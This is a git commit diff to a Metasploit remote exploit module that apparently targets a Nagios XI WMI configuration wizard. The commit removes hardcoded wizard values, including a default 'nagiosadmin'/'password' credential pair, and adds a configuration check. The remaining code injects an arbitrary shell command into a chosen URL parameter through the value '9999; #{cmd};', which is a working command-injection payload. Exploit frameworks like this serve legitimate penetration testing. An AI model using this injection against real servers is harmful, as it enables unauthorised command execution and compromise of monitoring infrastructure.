Remove extra payload details, add config check
This commit is contained in:
parent
b042e71b2a
commit
990db5372f
|
@ -165,13 +165,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
url_params = url_params.merge({
|
url_params = url_params.merge({
|
||||||
'nextstep' => 3,
|
'nextstep' => 3,
|
||||||
'wizard' => 'windowswmi',
|
'wizard' => 'windowswmi',
|
||||||
'check_wmic_plus_ver' => '1.65',
|
|
||||||
'ip_address' => '127.0.0.1',
|
|
||||||
'domain' => '127.0.0.1',
|
|
||||||
'username' => 'nagiosadmin',
|
|
||||||
'password' => 'password',
|
|
||||||
datastore['TARGET_URL_PARAM'] => "9999; #{cmd};"
|
datastore['TARGET_URL_PARAM'] => "9999; #{cmd};"
|
||||||
})
|
})
|
||||||
|
else
|
||||||
|
fail_with(Failure::BadConfig, 'Invalid TARGET_URL_PARAM: Choose ip_address or plugin_output_len')
|
||||||
end
|
end
|
||||||
|
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
|
|
Loading…
Reference in New Issue